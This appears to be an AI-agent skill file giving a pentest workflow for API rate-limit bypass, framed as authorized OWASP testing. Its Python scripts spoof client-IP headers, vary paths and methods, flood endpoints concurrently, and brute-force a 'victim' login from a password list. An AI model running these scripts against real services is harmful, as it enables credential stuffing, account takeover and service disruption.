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performing-api-rate-limiting-bypass

Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For spoofing, parameter pollution, case variation, and endpoint path manipulation. Maps to OWASP API4:2023 Unrestricted Resource Consumption. Activates for requests involving rate limit bypass, API throttling evasion, brute force protection testing, or API abuse prevention assessment.

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Njones17/AI-agent-master-cyber-skills-list
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March 6, 2026 at 16:13
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name
performing-api-rate-limiting-bypass
description
Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For spoofing, parameter pollution, case variation, and endpoint path manipulation. Maps to OWASP API4:2023 Unrestricted Resource Consumption. Activates for requests involving rate limit bypass, API throttling evasion, brute force protection testing, or API abuse prevention assessment.
domain
cybersecurity
subdomain
api-security
tags
["api-security","owasp","rate-limiting","throttling","brute-force","dos-prevention"]
version
1.0.0
author
mahipal
license
MIT
# Performing API Rate Limiting Bypass ## When to Use - Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints - Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration - Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats - Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation - Validating that rate limits protect against resource exhaustion and denial-of-service conditions **Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability. ## Prerequisites - Written authorization specifying target endpoints and acceptable request volumes - Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries - Burp Suite Professional with Turbo Intruder extension for high-speed testing - cURL for manual header manipulation testing - Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai) - List of rate-limit bypass headers to test ## Workflow ### Step 1: Rate Limit Discovery and Baseline Identify how rate limiting is implemented: ```python import requests import time BASE_URL = "https://target-api.example.com/api/v1" headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"} # Send requests and track rate limit headers def probe_rate_limit(endpoint, method="GET", count=100): results = [] for i in range(count): resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers) rate_headers = { "limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"), "remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"), "reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"), "retry_after": resp.headers.get("Retry-After"), "status": resp.status_code } results.append(rate_headers) if resp.status_code == 429: print(f"Rate limited at request {i+1}: {rate_headers}") return results, i+1 time.sleep(0.05) # Small delay to avoid connection issues print(f"No rate limit triggered after {count} requests") return results, count # Test key endpoints login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200) api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200) search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200) print(f"\nRate Limit Summary:") print(f" Login: Triggered at request {login_threshold}") print(f" API: Triggered at request {api_threshold}") print(f" Search: Triggered at request {search_threshold}") ``` ### Step 2: IP-Based Bypass Techniques ```python # Bypass Technique 1: Header-based IP spoofing IP_SPOOFING_HEADERS = [ "X-Forwarded-For", "X-Real-IP", "X-Original-Forwarded-For", "X-Originating-IP", "X-Remote-IP", "X-Remote-Addr", "X-Client-IP", "X-Host", "X-Forwarded-Host", "True-Client-IP", "Cluster-Client-IP", "X-ProxyUser-Ip", "Forwarded", "CF-Connecting-IP", "Fastly-Client-IP", "X-Azure-ClientIP", "X-Akamai-Client-IP", ] def test_ip_spoofing_bypass(endpoint, method="POST", body=None): """Test if IP spoofing headers bypass rate limiting.""" # First, trigger the rate limit normally for i in range(200): resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body) if resp.status_code == 429: print(f"Rate limit triggered at request {i+1}") break # Now test each spoofing header bypasses_found = [] for header in IP_SPOOFING_HEADERS: spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"} resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body) if resp.status_code != 429: bypasses_found.append(header) print(f"[BYPASS] {header} -> {resp.status_code}") return bypasses_found login_body = {"username": "test@example.com", "password": "wrongpassword"} bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body) ``` ### Step 3: Endpoint Variation Bypass ```python # Bypass Technique 2: URL path variation def test_path_variation_bypass(base_endpoint, token): """Test if path variations bypass rate limit tied to specific endpoint.""" variations = [ base_endpoint, # /api/v1/auth/login base_endpoint + "/", # /api/v1/auth/login/ base_endpoint.upper(), # /API/V1/AUTH/LOGIN base_endpoint + "?dummy=1", # /api/v1/auth/login?dummy=1 base_endpoint + "#fragment", # /api/v1/auth/login#fragment base_endpoint + "%20", # /api/v1/auth/login%20 base_endpoint + "/..", # /api/v1/auth/login/.. base_endpoint.replace("/v1/", "/v2/"), # /api/v2/auth/login base_endpoint + ";", # /api/v1/auth/login; base_endpoint + "\t", # Tab character base_endpoint + "%00", # Null byte base_endpoint + "..;/", # Spring path traversal ] # Trigger rate limit on original endpoint first for i in range(200): resp = requests.post(f"{BASE_URL}{base_endpoint}", headers={"Authorization": f"Bearer {token}"}, json={"username": "test", "password": "wrong"}) if resp.status_code == 429: break # Test variations for variant in variations: try: resp = requests.post(f"{BASE_URL}{variant}", headers={"Authorization": f"Bearer {token}"}, json={"username": "test", "password": "wrong"}) if resp.status_code != 429: print(f"[BYPASS] Path variation: {variant} -> {resp.status_code}") except Exception: pass test_path_variation_bypass("/auth/login", "<token>") ``` ### Step 4: HTTP Method and Content-Type Bypass ```python # Bypass Technique 3: Method and content-type switching def test_method_bypass(endpoint, original_body): """Test if rate limit is method-specific.""" methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"] content_types = [ "application/json", "application/x-www-form-urlencoded", "multipart/form-data", "text/plain", "application/xml", "text/xml", ] # Trigger rate limit with POST + application/json for i in range(200): resp = requests.post(f"{BASE_URL}{endpoint}", headers={**headers, "Content-Type": "application/json"}, json=original_body) if resp.status_code == 429: break # Test other methods for method in methods_to_test: if method == "POST": continue resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=original_body) if resp.status_code not in (429, 405): print(f"[BYPASS] Method switch to {method}: {resp.status_code}") # Test other content types for ct in content_types: if ct == "application/json": continue test_headers = {**headers, "Content-Type": ct} if ct == "application/x-www-form-urlencoded": data = "&".join(f"{k}={v}" for k, v in original_body.items()) resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers, data=data) else: resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers, data=str(original_body)) if resp.status_code != 429: print(f"[BYPASS] Content-Type {ct}: {resp.status_code}") test_method_bypass("/auth/login", {"username": "test@example.com", "password": "wrong"}) ``` ### Step 5: Account-Level Bypass Techniques ```python # Bypass Technique 4: Rotate identifiers to avoid per-account limits import string import random def test_account_rotation_bypass(login_endpoint, target_password_list): """Test if rate limit is per-account, bypassed by rotating usernames.""" target_email = "victim@example.com" # Test 1: Per-account rate limit bypass by rotating the username field # with slight variations email_variations = [ target_email, target_email.upper(), f" {target_email}", f"{target_email} ", target_email.replace("@", "%40"), f"+tag@".join(target_email.split("@")), # victim+tag@example.com ] for password in target_password_list[:50]: for email_var in email_variations: resp = requests.post(f"{BASE_URL}{login_endpoint}", json={"username": email_var, "password": password}) if resp.status_code == 200: print(f"[SUCCESS] Logged in with: {email_var} / {password}") return True elif resp.status_code == 429: print(f"Rate limited on variation: {email_var}") # Small delay time.sleep(0.1) return False # Bypass Technique 5: Parameter pollution def test_parameter_pollution_bypass(endpoint): """Add extra parameters to make each request appear unique.""" for i in range(200): random_param = ''.join(random.choices(string.ascii_lowercase, k=8)) resp = requests.post( f"{BASE_URL}{endpoint}?{random_param}={i}", headers=headers, json={"username": "test@example.com", "password": f"attempt_{i}"} ) if resp.status_code == 429: print(f"Parameter pollution failed at request {i+1}") return False print("[BYPASS] Parameter pollution: 200 requests without rate limit") return True ``` ### Step 6: Distributed and Async Testing ```python import asyncio import aiohttp async def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50): """Test rate limiting under concurrent load.""" results = {"success": 0, "rate_limited": 0, "errors": 0} async def make_request(session, request_num): try: # Rotate X-Forwarded-For per request req_headers = { **headers, "X-Forwarded-For": f"192.168.{request_num % 256}.{(request_num * 3) % 256}" } async with session.post( f"{BASE_URL}{endpoint}", headers=req_headers, json={"username": "test@example.com", "password": f"attempt_{request_num}"} ) as resp: if resp.status == 429: results["rate_limited"] += 1 elif resp.status in (200, 401): results["success"] += 1 else: results["errors"] += 1 except Exception: results["errors"] += 1 connector = aiohttp.TCPConnector(limit=concurrency) async with aiohttp.ClientSession(connector=connector) as session: tasks = [make_request(session, i) for i in range(total_requests)] await asyncio.gather(*tasks) print(f"\nDistributed Test Results:") print(f" Successful: {results['success']}") print(f" Rate Limited: {results['rate_limited']}") print(f" Errors: {results['errors']}") print(f" Bypass Rate: {results['success']/(results['success']+results['rate_limited'])*100:.1f}%") # asyncio.run(distributed_rate_limit_test("/auth/login")) ``` ## Key Concepts | Term | Definition |
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